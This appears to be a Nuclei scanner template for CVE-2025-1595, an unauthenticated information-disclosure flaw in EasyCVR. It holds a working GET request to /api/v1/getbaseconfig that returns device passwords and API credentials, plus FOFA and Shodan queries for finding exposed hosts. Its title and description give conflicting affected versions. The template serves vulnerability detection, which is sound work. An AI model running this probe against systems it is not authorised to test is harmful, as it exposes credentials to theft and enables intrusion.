EasyCVR <=2.1.2 - Information Disclosure

id: CVE-2025-1595

info:
  name: EasyCVR <=2.1.2 - Information Disclosure
  author: ritikchaddha
  severity: medium
  description: |
    A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
  impact: |
    Unauthenticated attackers can retrieve sensitive configuration data including device passwords and API authentication credentials through the exposed getbaseconfig endpoint.
  remediation: |
    Upgrade to EasyCVR version 2.7.1 or later that restricts access to the configuration endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-1595
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-1595
    epss-score: 0.0112
    epss-percentile: 0.62231
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="EasyCVR"
    shodan-query: http.title:"EasyCVR"
    product: easycvr
  tags: cve,cve2025,exposure,easycvr,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/getbaseconfig"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'DevicePassword":'
          - 'APIAuth":'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d609b3d040356298fccb2640ba514b5f7efe65172258dac55705949e8cf7f0ea022028566cb0262f5b0eef844d043fb9cdbfc7811b4debfb08ae33fde019c8991915:922c64590222798bb761d5b6d8e72950